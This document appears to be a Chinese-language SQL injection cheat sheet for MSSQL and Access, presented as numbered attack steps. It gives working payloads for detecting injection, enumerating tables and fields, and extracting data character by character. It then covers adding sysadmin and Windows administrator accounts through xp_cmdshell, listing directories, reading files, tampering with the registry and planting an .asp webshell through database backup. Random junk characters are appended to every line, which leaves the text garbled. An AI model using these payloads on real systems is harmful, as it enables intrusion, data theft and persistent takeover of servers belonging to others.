1.判断是否有注入;and 1=1 ;and 1=2 %jq
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2.初步判断是否是mssql ;and user>0 `LIlR8&@aX
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3.注入参数是字符'and [查询条件] and ''=' d/3&3>/
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' I 6<LKI/
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5.判断数据库系统 23p.g5hJi
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;and (select count(*) from sysobjects)>0 mssql ;9=4]YZt
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;and (select count(*) from msysobjects)>0 access U'5p;j)_
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 HQ4WunH2Y
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 /n,a0U/
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 \4 t;{_
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9.(1)猜字段的ascii值(access) yFFNzw{
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 +{)V%"{u:
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(2)猜字段的ascii值(mssql) vl%Pg!l
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Dn~t _n
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10.测试权限结构(mssql) MD> E0p)
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ROfke.N\'
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ;]/cCi
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- wYHyVY2tj2
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- aO\@5i_r
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Gh'{O/F4*
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- uk.x1*0x
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;and 1=(select IS_MEMBER('db_owner'));-- `5~<)
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11.添加mssql和系统的帐户 L= <,+m[!
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;exec master.dbo.sp_addlogin username;-- =OA7$z[
;exec master.dbo.sp_password null,username,password;-- LA837%)
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- jRjQDK_"ka
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;exec master.dbo.xp_cmdshell 'net user username password GlXzH1wZ
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- yucbEDO.
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- R&}{_1dj8
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- pC)S9Kl
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12.(1)遍历目录 s8kkf5bu
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;create table dirs(paths varchar(100), id int) akA C^:F
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;insert dirs exec master.dbo.xp_dirtree 'c:\' r\{; ~V
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;and (select top 1 paths from dirs)>0 K<Y-/t
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) _$4vk
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(2)遍历目录 3gmu-tv
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- .gHL(*1P
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 QGd"Z lQ
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 t)~v5vr
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ma26|N5
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 lV !@h}mG
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13.mssql中的存储过程 7":0CU%%
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xp_regenumvalues 注册表根键, 子键 c=HL
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 yq>3IS4O
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xp_regread 根键,子键,键值名 9Q%Fel.
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 H\<C@OkJS}
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xp_regwrite 根键,子键, 值名, 值类型, 值 nPUq+cXy]C
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 vrIM!~*W
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xp_regdeletevalue 根键,子键,值名 Mzx y'UV
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 4o2C=?@(
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ]E)gMf
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14.mssql的backup创建webshell l>M&S^/s j
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use model vf(\?Js,
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create table cmd(str image); _>*$%R
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insert into cmd(str) values (''); .
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backup database model to disk='c:\l.asp'; I=pTfkTT
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15.mssql内置函数 U:xr['
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;and (select @@version)>0 获得Windows的版本号 @&d/}Mx"t
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Z%MP:@z
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;and (select user_name())>0 爆当前系统的连接用户 !UlG!820
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;and (select db_name())>0 得到当前连接的数据库 jzu1>*ok
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16.简洁的webshell Y9 ,KOs
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use model T.aY{Y
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create table cmd(str image); dHzo_VV
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insert into cmd(str) values (''); BfIGw
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backup database model to disk='g:\wwwtest\l.asp';